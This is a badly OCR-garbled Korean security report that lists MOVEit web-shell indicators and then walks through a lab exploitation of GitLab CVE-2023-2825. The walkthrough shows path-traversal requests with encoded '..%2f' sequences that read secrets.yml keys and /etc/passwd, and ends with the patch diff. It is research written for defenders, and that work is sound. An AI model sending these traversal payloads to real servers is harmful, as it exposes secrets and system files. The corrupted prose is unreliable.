MOVEit Transfer 2020.1.x(12.1) S5 X M8 7ts
MOVEit Transfer 2020.0.x(12.0) O] 4 ANYEe HEoE A 0|E @
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J:" Indicator Of Compromise

& &
human2.aspx : SHA256

0b3220b11698b1436d1d866ac07cc90018e59884e91a8cb71ef8924309f1e0e90ea05169d11141
5903a1098110c34cdbbd390c23016cd4e179dd9ef507104495110e301d3b5019177728010202¢8
096824829c0b11bb0dcObff55547ead182861826268249e1ea58275328102a5a8d158d36b4fd31
2009e4a2526f0bfbc30de22413b5d0750c23b07999ec33a5b4930be224b661aaf290a0118db803f
31acbc52ccf7e42afd3f6bf845865c74b2e01e2046e541bb633d037b05bd1cdb296fa59348e4351
96dd795e1ec31169bd111c7ec964e5a6ab525a562b17f10de0ab031d387cee566aedbafa8c114e
d1c6b98d8b9b65e9f178cf2f6ae2f5ac441082747a38e69f4a6d2e81f28ed2dc6df0daf31e73ea
365bd2cfc90ebc31441404cca2643a977446ed70b02864ef8cfa3135d8b134c93ef868a4ccOaa5d
3c2a74545725b

File Name

human2.aspx : An malicious web shell disguised as human.aspx, which is one of the
components of MOVEit Transfer
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m zt1 AJO|E

URL: https://www.bleepingcomputer.com/news/security/new—moveit—transfer—zero—day—mass—exploited -

in—data—theft—attacks/
URL: https://thehackernews.com/2023/06/new-linux—ransomware—strain—blacksuit.html

URL: https://www.bleepingcomputer.com/news/security/microsoft—links—clop—ransomware—gang—to—
moveit—data—theft—attacks/

URL: https://www.bleepingcomputer.com/news/security/clop—ransomware—claims—responsibility—for—

moveit—extortion—attacks/
URL: https://www.cisa.gov/news—events/cybersecurity—advisories/aa23-158a
URL: https://thehackernews.com/2023/06/clop—ransomware—gang-likely—exploiting.html

URL:  https://www.bleepingcomputer.com/news/security/royal-ransomware—gang—adds—blacksuit—

encryptor—to—their—arsenal/

URL: https://www.bleepingcomputer.com/news/security/clop—ransomware-likely—exploiting—moveit—zero—
day—since—-2021/

URL:  https://www.malwarebytes.com/blog/news/2023/06/more—moveit—vulnerabilities—found-while-

the—first—one—still-resonates

URL:  https://www.securityweek.com/new—moveit—vulnerabilities—found—as—more—zero—day—attack—

victims—come—forward/

URL: https://www.bleepingcomputer.com/news/security/cisa—lockbit—ransomware—extorted—91-million—
in-1-700-us—attacks/

URL: https://www.bleepingcomputer.com/news/security/suspected—lockbit—-ransomware-affiliate-arrested -

charged—in—us/

URL: https://www.malwarebytes.com/blog/news/2023/06/moveit—discloses—yet—another—vulnerability -

three—times—a—charm

URL: https://www.huntress.com/blog/moveit—transfer—critical-vulnerability—rapid—response
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Research & Technique

Gitlab ©19) Tl Q17| XK (CVE-2023-2825)

2023 |1 5 4, JiQ) = xZo] ATELo] T d PHLS o AHEoh= Git BlEAEY T
&34 GitLab oA 9] ot ¢l7] FHekdo] R g A2 A= g4 HEHE S8

< 4 7] g2l Gitlab o4+ CVSS? 7] 10.0 Aoz
Bt B9l FHA g2 3FA P ZRAES HAEmY Uzt FRE A
FApHez A FQ Holg Al A AlE AH, 7|99 a4 FE, et AREA} HlolH
ol HEE & slo] Fo7t 2 a5t

O

e Aol A EAE Fekd Gitlab © Shodan 59 OSINT A4 7L Fa sheld & 9ok,
A 6 9 28 2 Shodan & ol-83) Fokt AHME P A}, oF 4,000 7Ho] Foket Gitlab o]
S Aom uehith weba ok MAe ALtk U Folvh Wasit

N
=

ShOdan Re o0 rt anpl ication-77eedddel 6d2f31b4ddfd21 4bBOLGEZT fedBbIZ2df7054b1 fhO28 dBd4439fcTe. css Total: 4'025

A GENERAL

@ Countries

Germany 970
United States

France 301
China 280

Russian Federation

*Z4: Shodan Report

JH 1 FoRR AW AA A

27 CVSS(Common Vulnerability Scoring System)@ ZFE] A2 Wt Hopdo] AZtwg Hrlslr] 9I5 fa 37 419 gzoloh.
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B Y= ATEQ HZ

CVE-2023-2825 o] FoFst GitLab o] H{AH-& oh-23} 7t}

S/W T 2o BT
GitLab
) o ) » 16.0.0
CE(Community Edition)/EE(Enterprise Edition)
X FATFO| &S| YsiM= x| 5 7] AFO0| EXYSHOF DT =0 EXWBICE Z=H2 ofzfel F AT A

X =
242 SO 2oIT & QUL

24 AUz

CVE-2023-2825 FoFd& o] g3t 34 Audges o3 £}

®

DEEERCED

<

v

€) CVE-2023-2858

infosec

(]
Jo
A

6

O F2 Y= T

a9 2. 34 AL

© SAX= OSINT M TS Sof FOfet Gitlab & MHE EM
@ &A%E CVE-2023-2825 #A®= 0|80l HSHA MEHO| H
® 33X 2¥s w2 MHe F BECIY

@ SAXE 2S3 FR YEE O3 HOIL CHE ZYAAH ol

A2 BE, MH $H 74 B 5)2 SAKA o
=
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e

W HAE SHF 4 4
HAE 8748 F&38ko] CVE-2023-2825 9 52+ w48 4rmjEc}
o|&
Ubuntu 20.04.5 LTS
il PNG (192.168.100.162)
GitLab 16.0.0
Kali Linux
SAXt 6.1.0-kali5-amd64
(192.168.100.152)
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B o H2E
Step 1. &4 +4

1 msfzt PC of docker hub o4 Z]¢¥st= GitLab CE oln|x] &, FHHo] EAst= Gitlab
16.0.0 BA Q] AuHES =3},

$ docker run -d -p 80:80 gitlab/gitlab-ce:16.0.0-ce.0
CEIGE -d 3M: detach ZEZ MR EZ docker & A¥AI7 = M
-p &M: local ZEQ} docker M MY ZEE X|Fdte S

root@ubuntu: /home/eqst# docker run -d -p 80:80 gitlab/gitlab-ce:16.0.0-ce.0
Unable to find image 'gitlab/gitlab-ce:16.0.0-ce.0' Llocally
16.0.0-ce.0: Pulling from gitlab/gitlab-ce
1bc677758ad7: Pull complete
633fcf47bc79: Pull complete
472c1acOc258: Pull complete
5b665b492973: Pull complete
0bd8b5a23fe7: Pull complete
b385dd2cb2ca: Pull complete
38ac4d68d24c: Pull complete
e4588a97b783: Pull complete
Digest: sha256:ab%0cdb096c4f81247088357b0e051f5b8a999284b2186¢cbdiblec1ad4lcca7e8
Status: Downloaded newer image for gitlab/gitlab-ce:16.0.0-ce.0
3e524103ef6858b7825c530db4cefd2dd3cieb5f1e36776ef413574655d61784
1% 3. docker & B3 & 1=

2) Gitlab £E A5 HAgcs A4 98] Ao Hude dx olfol Wols
Ayt

. $ docker exec -it [container B EE& container ID] /bin/bash

: # gitlab-rake "gitlab:password:reset[root]"

root@ubuntu: ps

CONTAINER ID IMAGE COMMAND CREATED
STATUS PORTS

NAMES

3e524103ef68 gitlab/gitlab-ce:16.0.0-ce.0 "/assets/wrapper” 4 minutes ago
Up 4 minutes (healthy) 22/tcp, 443/tcp, 0.0.0.0:80->80/tcp, :::80->80/tcp

distracted_heyrovsky

root@ubuntu: /home/eqst# docker exec -it 3e524103ef68 /bin/bash
root@3e524103ef68: /# gitlab-rake "gitlab:password:reset[root]" RPN
Enter password:

Confirm password:

Password successfully updated for user with username root.

ol M2 3™

19 4. GitLab RE A% fAE AJHA
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3) FFd HAEE {5l PoC 7t AH git oS F42k] PC 2 EAFRITH
PoC 7} A= GitHub URL & &1} Zrt,

— URL: https://github.com/Occamsec/CVE-2023-2825.git

$ git clone https://github.com/Occamsec/CVE-2023-2825.git

/home/kali
clone https //g1thub.com/0Occamsec/CVE-2023-2825.¢g1t
Cloning 1into CVE-2023-2875
remote: Enumerating objects: 36, done.

remote: Counting objects: 100% (36/36), done.

remote: Compressing objects: 100% (33/33), done.

remote: Total 36 (delta 11), reused 3 (delta @), pack-reused 0
Receiving objects: 100% (36/36), 13.60 KiB | 2.72 MiB/s, done.
Resolving deltas: 100% (11/11), done.

3% 5. PoC BAF H A= &<l

% root ARE BL olf PoC HAES 9% ZRAE A4S JFoR, A4 AL A5 Anst
Z
2

/home/kali/CVE-2023-2825
DISCLAIMER.txt poc.py README.md

requests
random

string
urllib.parse urlparse
bs4 BeautifulSoup

ENDPOINT
USERNAME Hs| X} M " Q=
PASSWORD

a6, Ak A FE A
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5) PoC 7} &&Fell mlafiz} AH] Q] Jetc/passwd TS RIS 4= it

Jhome/kali/CVE-2023-2825

poc.py
[*] Attempting to Lagin."
[#*] Login successful as user "root®
Ed ting 11 c:aup; wlTh prefix EQST
[*] group
[*] group
[*] group
[*] group
[*] group
[*] group
[*] group
[*] group ]
Ed group 'EQST-9°
[*] group 'EQST-18°

group 'EQST-11'
[*] public repo 5 2 ] y
ST-8/EQST- 9_.-"EQE-T—1£J,’ED’-T 1 "—2‘. lfllﬂli':
[#1 Unloaded file ° lm1-1=|r:|" f6h; 7

i Ap1olr

" I

root:/bin/bash
:/usr/sbin:/usr/sbin/noleogin
r/sbin/ no1 i

5".r'|: H 30 ;...

games:x:5:¢ ;amef:_uzr_”

I™ 7. FAHer O 49 Y kF
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|25 MMl 24

A

Step 1) FoFd 718

CVE-2023-2825 o2 I5HA &2 FAAE 3708 Foket M9 Gitlab Z=HE T

Snippet?® & FHEmAe] HIZ A FoFzlo] ARt GitLab A¥e 2392 URL A=
Fgsto] Adith o]F, GitLab AlH&

A2 URL o4 st wopert, shx|gh, & HAste 22]o] Fehu o] glo] Fofol

path: :uploads do

tem f:mounted as/:id/:filename”,

o~
O

AN e A RS ol Path Traversal T8 Qs@stel ALstm, Aujo] A
sgste] AelE PAGAA nAWS sty el Hepdol WARL webx Am:y
4G “Tf, “T2eT2eT20E 01 g3 A dHe] A HAo] BT 5 ek,

http://GitLab.com/Group/Project/..%2ftext.txt - Je2ftext.txt
> ‘9’ —_—— =
http://GitLab.com/Group/Project/../text.txt = ftext.txt
< ! ! DI —
GitLab Puma WAS
Nginx

a9, 93249 814 14

% Snippet o]# A4 AMEEE FEU TR ARGARSF FHElY] 919 T, HAE 58 Astr] 9% HojArt,

29 puma # WAS(Web Application Server)©] g £H& Ruby 3-8 ZZ IS 913 AHc}. GitLab 9] Rails(Ruby ©] Web
framework 0] 4%) 3§ Z2IHE AYs}r] 9l AHS-Ht.
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et 159

A FEE ool

Aorde olafsly] SsiAE Gitlab o @¥mtel B
=EASE PG Snppet & U WG des F2a 29 OAE 2 2y
AT olle] dAE AgHoR HAL dRE e u, Auo] AFEE Bolt

dzCc mY AR D2HE MM C|dEzZ| F2
/var/opt/gitlab/gitlab-rails/uploads/@hashed/[aa]/[bb]/[hash]/[hash]/[file]

I910. ARHE 4=

SHARE, theRE 84 URL A= EAsHA ¢ diatd thez= 84 Al Gitlab & puma
AHE 5o ofefle] ABE HaoA wde
YSc my F2 Z2HE Moo C|YEz Z2
/var/opt/gitlab/gitlab-rails/uploads/@hashed/[aa]/[bb]/[hash]/[hash]/[file]
sge Y3 3=
/opt/gitlab/embedded/service/gitlab-rails/public/uploads/@hashed/[aa]/[bb]/[hash]/[hash]/[file]

d9 11 A=Y 93 qEHe] 3=

root@d3f1ebb81b78: fopt/gitlab/embedded/service/gitlab-rails/public# 1s -al

total 72
Lrwxrwxrwx 1 root root 36 Jul 5 00:38
root@d3flebb81b78: foptfgltlabfembeddedjqervlcefgltlab rails/public#

912, A9 HEE ¥ 3=

GitLab 9] gHEatd d2E Al AARE o22tE 84 URL #2e o2t
T ofel 159 A vE ddEert U oR A

GitLab -’F—.’}"_/[Group]/['5|'-?-| 71 &]/Project/uploads/[hash]/file
F2/[Group]/[ot?l A E1][5HR O & 2]...[6t9] T1E N]/Project/uploads/[hash]/file

GitLab
1Y 13. tte2E AR 93 URL 74

.

flo
S

-
o

EFAA ] vtz 7hr)ek 22 7]

stdolit deg o] tigh FxE 2ehoh= 1t E, Windows

0 NEe ggu =X
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= olgfe] I"I 7ol WebRoot
FI4 [e)

sttt EAfshE 2= 9% URL 9 A$
7FestH, A& ®39 uploads HEHEHZRARE o]0l

ak9l ol
degeel 5 7j] Az olFo
Filename:/../..0..[..1../

7V 5ttt
/——_ \
GitLab F2-/[Group])/[6t%] 1 &]/Project/uploads/[hash]/file

C22E 2% URL
Filename: /../.././../../

MEY ys 3=
/opt/gitlab/embedded/service/gitlab-rails/public /uploads/@hashed/[aa]l/[bb]/[hash]/[hash]/file

a9 14, 4 E fHgER ol%

A" sk 59 A suE dEHEg e Jier AAET
JAolBmZ  WebRoot HdEZ Hr} A olae 714 ;g%o]

AL
T

AEe 3ol deea

7pssich
[l2EC 2% URL /—Lﬂename:/../../../../../+n \
F2/[Group]/[6t7] IE1]1[6H?] 28 2]...[5H%] 1 & N]/Project/uploads/[hash]/file

GitLab =2~
Filename:/../../../../[../+n

olAlgt, 2= 9% URL 2

dEY Y3 3=
/opt/gitlab/embedded/service/gitlab-rails/public /uploads/@hashed/[aa]/[bb]/[hash]/[hash]/file

a9 15. B89 dEg2z oF
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AuZh ARt BeEE a4 AHEe o, Fxshs 42y P29 NS =4S J9e

ofefo 2t

)
/opt B B

L— /gitlab
- /embedded

l—fserwce @
L /gitlab-rails B

L— /public
L—/uploads B
- /@hashed

I =
I_
IBIE /6b 4b

|—/5934. 023e

EQST.txt

a9 16, A2 G2 oA =A%
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Aokl AA EAL g9 okt wAe] Gidab o IE(EQSTLabIE AAsm  F)
&

¢ Fobae B el @A ARE Sk princixe B Z7te] Heleelo] AAH,

EQSTLab » Insight

| Insight & £l A~ St | 0| ¥Fork O
Project ID: 1 [g
-o-1Commit ¥ 1Branch ¢’ 0 Tags [ 0Bytes Project Storage
45 Initial commit cal227a9 | [

*  Administrator authored 1 minute ago

main v insight /| | + ~ Find file Web IDE oy v
a9 17. B4 34

)
ftlo
4>
20
rlr

HE A o|%, HREOYE oF8str] HsiA sid Z2AE #HH W&
Q1 issue & AAsHY] HEGYEQST.xt)2 FRER T

New Issue

Title (required)

| whblithe

Type @

Issue ~
Description

B I § = < @& = = 2="3 H & Preview .7

Ins ighd[ EQST.txt] (/uploads/59843abfclSelfbe33fhe7h8h126028e/EQST. txt JI

a9 18, ARty 55
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olefel Az

%3]] X']BJJ—}C'](EQST tXt)E E}—ric 1:11—1—1;]»

= http://192.168.100.162/eqstlab/insight/uploads/59843abfc15e1fbe33fbe7b8b126028e/EQST. txt

c http://192.168.100.162/egstlab/insight/uploads/59843abfc15e 1fbe33fhe7bab1 2602 8/E0ST txt ) » L 4
arch GitLab 5 Eas I
78 . 22
EQSTLab » Insight
@ open [ 1ssu= created 1 day ago by - Edit Close issue :
whblithe
Insight|E
I919. 4 R2E
CVE 2023-2825  FoFde  orgshy]  YEiAe mEA Eg olgs], oYdde
Zolo /S BEAES URL QRS & “ %2print.txt” T= “%2e%2e%2fprint.txt” HO|ZEE
ﬂJoHZP Aol ddstE AH9] AR £gd & 9t
Al B2 olgd A B=e A FrE E35he printixt O] §H U2 v 2
Requestcase 1) “/” 13T > _%2fprint.txt Response m e
Prett Raw Hex ] \n = Pretty Raw Hex Rende \n =

1 _GET

Jegstlab/insight/uploads/59343abfc15e1 fbe33fbe7bSb126023e/ . %2

print. txt HTTP/1 .1

2 Host: 192.165.700.162
3 Content-Length: 22

4

5 Connection:
6

close

=1

u"/n ?_' i

Hex

Requestcase 2) g -> %2e%2e%2fprint.txt

B n

rett Raw
1 GET

eR2fprint txt HTTP/1.1

Jeqstlab/insight/uploads/59843abfc15e1 the33fhe7b3b126023e/%2e%2
I~

2THGET 192163100 TG
3 Content-Length: 22
4

5 Connection: close

20

22
23
24
25

a9 20. 49 A22

7 X-Gitlab-Meta:

3 Strict-Transport-Securi

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 05 Jul 2023 04:30:37 GMT
Content-Type: application/octet-stream

Content-Length: 143
onnection: keep-alive
Axcept-Ranges: bytes
Cadge-Control: max-age=0, private, must-revalidate
Contypnt-Disposition: attachment. filename=". %2Fprint.txt".;
tilenage*=UTF-8'"'. %2Fprint.txt
Contentdsecurity-Policy
Content-Txansfer-Encoding: binary
Last-Modifhed: Wed, 05 Jul 2023 04:06:15 GMT

Permissions=Rolicy ' interest-cohort=()

X-Content-TypegOptions: nosniff
X-Download-Opti%ns: noopen
X-Frame-Options: GAMEORIGIN

in-Policies: none
X-Requ 21E6YSNTK1RFXCF
X-Runtime:
X-Ua-Compatible®
¥X-Xss-Protection:
. ma age=63072000

Referrer-Policy: strict-ori hen-cross-origin

This dic is
Jopt/gitlab/enmbedded/service/gitlab-rails/public/uploads/@hashe
d/6b/36/6b86b2731f34fce19d6b304ef f5a3f5747adadeaaz2f1d49c01e52d
db7875b4b

olF ¥ M FH =¥
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@ BAM g9 ARZ olFL MRS 49 5
srgith ol ShY 158 wEA

Aol daEe ol
e maAE FAo|7 wiEd,

gk o} 400 Bad Request °#&
o2 9% URL o+

/eqstlab/insight/uploads/59843abfc15e1fbe33fbe7b8b126028¢/ 4 7fe] tldggqt Zgr|o] Qrt.

wetA, WebRoot t@Ee] Hek 9] teeelel 57 dees olF-e

Request

Raw Hex =

\n
| GET

2ot
==

=2

Response
\n

Pretty Raw Hex Render =

1[HTTP/1 .1 400 Bad Request]

Jegstlab/insight/uploads/59843abfcl15e1 fhe33fhevb3b126023e/ . W2t
Ch2f. mef. mef. %2fprint.txt HTTRP/1 1

2 Host- 192, Te3. 100,162

3 Content-Length: 21

4

5 Connection: close

a9 21. o

ole 1L WebRoot t2lele] Kok 49 tlelegel 5 /o] ARZ o%

e WEste e =Rkt 7o,

2 Server: nginx

3 Date: Thu, 06 Jul 2023 07:23:46 GNT
4 Content-Type: text/html

5 Content-Length: 150

G Connection® close

7

Fly

A1, 400 Bad Request

./

CI22E 8% URL:

o

http://192.168.100.162/eqstlab/insight/uploads/[hash]/EQST.txt
/..%21..%21..%2f..%2f..%2f..%2f

-/ . ./

De

/opt
L— /gitlab
L J/embedded
I—/service . o|s =7t
/gitlab-rails
L— /public .
L~ /uploads B
- /@hashed li ? B
— /6b
|—/6b86 .5h4b .
L— /5934..023¢
EQST.txt
1922, olF E7F &A%}
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CVE-2023-2825 P2 &8sl WebRoot HHEZ Hutt 49 dlE]o] HIs7] fsiMe
FTHE ot 282 FUtele], 2L 23 URL o] x3td ddee »& sajof gt

wald,  WebRoot Ht} A9 dgale] A Fa AR F shtol
/opt/gitlab/embedded/service/gitlab—rails/config/secrets.yml o Hal7] HsiA= 712 4 719
dee e 3 /|5 F7kste] F 7 719 A9l dEE=R olFsor gttt wEtA FHE oM IE
3NE F7F8ll CVE-2023-2825 k- ohg3tt

root@d3flebb81b78: fopt/gitlab/embedded/service/gitlab-rails# 1ls -al confia/ | arep secrets.yml

Lrwxrwxrwx 1 root root 44 Jul 5 00:38 -> [varj/opt/gitlab/gitlab-rails/etc/
-rw-r--r-- 1 root root 484 May 18 18:82 .example

% 23. A WOl /config/secrets.yml =2

7709 49 degele Aee 99 3700 289 o9 18e A4 1he ofst 2o

GrOupS Explore groups

‘ Last created v

© % E EQSTLab @ owner | 18 %1 M1 881
~ % E eqstl @ Owne 1 D1 881

~ % E eqst2 @ Owner slg] 18 Se1 1 f81

> % E  eqgst3 @  Owne 1 0 81

1% 24. 39 1% A
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oteff €2 FHE ot IF 3 7BE F7tote], WebRoot HHEl2] Bt A9 dalH < gitlab-
rails o] £A8= /config/secrets.yml Ao HZoH= HHAHL EA|SRE 9ol

http://192.168.100.162/eqstlab/eqst1/eqst2/eqst3/whblithe2/uploads/c162794e0f

CIE2E : 8
225 273 URL abdba63a666310137e6e95/..%21..%21..%2f..%2f..%2f..%2f..%2fconfig % 2fsecrets.yml|

/opt B
L— /gitlab E -/
L Jembedded

/service

L /gitlab-rails .
/public B
I—/uploads .

- /@hashed B B

— /6b

— /config
4 /6b86..5b4b
L— /5934..023e

EQST.txt

1% 25. /config/secrets.yml H E4]3}

A B ol FHE Sk 1FS A F /config/secrets.yml HEE EEot= Ho|RE

ofefel 2.

Request Response
Pretty Raw Hex \n = Pretty Raw Hex Rende \n =
T GET 31| production:
Jeqstlab/eqst1/eqst2/eqst3/whblithe2/uploads/c162794elfabdbat3a 32|  db_key_base:
666310137e6e95/ . %2f. %2f. %2f. %2f. %W2f. %W2f. %2fconfigh2fsecr SccTd?400eaal eec5375bebdbd8 f48659a3 f12ebads f277bch59:01 3387222
ets yml HTTP/1.1 3b4d05c2a3169e4f0b5925ebd5ca3f70235d704bead2c3166chbed10203eadd
2 Host: 192.165.100.162 Tedo
3 Content-Length: 22 33 secret_key_base:
4 6137dae2d3dd3caass055167400ac3c36d363301f290f026a2eae79 69636
5 Connection: close f4424abbed11a37374abb14f fb323707921 f62e503574e55d91alaadeTdc90
g 2660
T 34| otp_key_base:

0e13400b35d35c44abaldfhesoleaa2866e2732d2521173074909e f4b616 137
6150975363966 f6e3d536f2b006bd335636102a91630339b7d303beab71335
35829

350  encrypted_settings_key_base:
b13dad709392f9fbf0chf731d23592b3c5b1ch94c3esch6e65a169b662ehds
34beTa431a9d3ee5a970ae3f5f0bIdSS7aas71954b7a076d5e150cEc193chs
d425

a6 openid_connect_signing_key: |

a9 26. A9 dHE P9 /config/secrets.yml o+ HE
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uebA, 249 FE dHAERE JIo] e F 12 1Y A9 dHFER o] FaoF stRE,
1 7 283 8 79 319 18 ZRAE HRnd ARE A /etc/passwd 7HA HLo]
deasiise

http://192.168.100.162/eqgstlab/eqst1/eqst2/eqst3/eqstd/eqst5/eqst6/eqst7/eqst8
Ch22E 8% URL: /whblithe4/uploads/8e1390ac4f703ebaf612d8779d0cf027/..%2f..%21..%2f..%2f..%2
f..%2f..%21..%2f..%2f..%21..%2f.. % 2fetc%2fpasswd

]
= ropt B .

L— /gitlab
L /embedded B
Ject /service
4 /gitlab-rails B
4 — /public B
SECRET, L—/uploads .
passwd - /@hashed B
— /6| B .
|—/6b86 .5b4b
L— /5934i.023e
3.

a9 27. RE gD JAS

ol AL Ez o] Ato =3 HAro] B o =35
X R Bl 12 7 o dEYZ o]Fs Jo] FE fdE o]-&dl /etc/passwd
iEﬂ-‘—]_ %1/]- q_o T HFS 2~ 011:]-
=Hor/ w2 Ue g U
= b
Request Response m
Pretty Raw Hex no= Prett Raw  Hex Rende \n =
1| GET 16 ¥-Frame-Options: SAMEORIGIN
http://192.165.100.162/eqstlab/eqstl1/eqst2/eqst3/eqstd/eqsts/eqst6/eqstT 17 X-Gitlab-Meta
Jeqst3/whblithed/uploads/3e1390ac4f703ebaf612ds779d0cf027/. %2f. %2f. %2 {'correlation_id" :'01H4ZPBKKZAXGHODE2ZKFHRX26X"  "versio
f.o.%2f. %m2f. w2f. %2f. . %af. %2f. %2f. %2f. . %2fetch2fpasswd HTTP/1.1 nttth
= Heat—t + + + 19 X-Permitted-Cross-Domain-Policies: none
3 Content-Length: 21 19 X-Request-1d: 0TH4ZPBKKZAXGHODEZKFHRX26X
4 20 ¥-Runtime: 0.107442
5 Connection: close 21 ¥-Ua-Compatible: IE=edge
&} 22 ¥-Xss-Protection: 1. mode=block
7 23 Strict-Transport-Security: max-age=63072000
24 Referrer-Policy: strict-origin-when-cross-origin
25

28 root:x:0:0:root:/root:/bin/bash

27 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
29 bin:x:2:2:bin:/bin:fusr/sbin/nologin

29 sys:x:3:3:sys:/dev:fusr/sbin/nologin

20 syncix:4:68634 sync:/bin:/bin/sync

31 games:x:5:60:games: fusr/games: fusr/sbin/nologin
32 man:x:6:12:man:/varfcache/man: fusr/sbinfnologin
33 Ip:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin

1% 28. root 9] /etc/passwd ot FH FJE

URL F40 4=gslH /Jetc/passwd TS th22 53 4~ Qct

:qstS/whblithe3/uploads/fb51dad4205fcecbd28427d1523d2d1a5/..%62f % b2f. Se2fetctt2fpasswd A
=

0 e Ble _passwd I

o
Fu
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a9 29. /etc/passwd ot T2

Fleret M9 GitLab AHE %9 Folgtd, 3AAT A E issue & oAU T
Snippet ©f HFEIYZ SEste] HPHEZ &S & AUtk oo H-gst] AdiA= FFA BEES

st o] ‘Path Traversal HE’Q1Z] HA}SI= Z2o] 714 GitLab 16.0.1 ©]4
HHo 2 HHo|Est= Ao| eHstt.

sal!(path)

?{Gitlab: :HashedPath)
'Invalid path' unless

"Potential path traversal attempt detected”, path:
AttackError, 'Invalid path'

1Y 30. A4 EE-& =3 Path Traversal €4

16.0.1 o4 wWHe AdRTE Foots BEOA check path traversal ZZo] F7}E|e] Path

(o]
Traversal o] &2 749 bad reqeust & §¥réolal -2 &1 4 Q.
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app/controllers/concerns/uploads_actions.rb [f +6 -0 @ View file @2ddbf546

included do 18 included do

prepend_before_action 11 prepend_before_action
:set_reguest_format_from_path_extension :set_reguest_format_from_path_extension
rescue_from FileUploader::InvalidSecret, 12 rescue_from Filelploader::InvalidSecret,
with: :render_404 with: :render_404
13
14 |+ rescue_from
::Gitlab::Utils: :PathTraversalAttackError do
15 |+ head :bad_request
16 §+ end
end 17 end
18
def create 19 def create
or redirect to its URL 37 # or redirect to its URL
38 ;
def show 39 def show
40 )+ Gitlab::Utils.check_path_traversal
(params[:filename])
41
return render_404 unless uploader&.exists? 42 return render_4084 unless uploader&.exists?
43
ttl, directives = *cache_settings &4 ttl, directives = *cache_settings

931 A BE 37

2rhusl WA gElelEst olele A9 FHE ZeAss ugAssAL, 9 e o4
WAL FASHE Aol BWasth shAT ol Fepde]
zo] 27} 160,01 ol Mo JuolE s AL B
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« URL: https://labs.watchtowr.com/gitlab—arbitrary—file-read—gitlab—cve—2023-2825-analysis/
« URL: https://github.com/Occamsec/CVE-2023-2825.git

« URL: https://about.gitlab.com/releases/2023/05/23/critical —security —release—gitlab—16—0-1-released/
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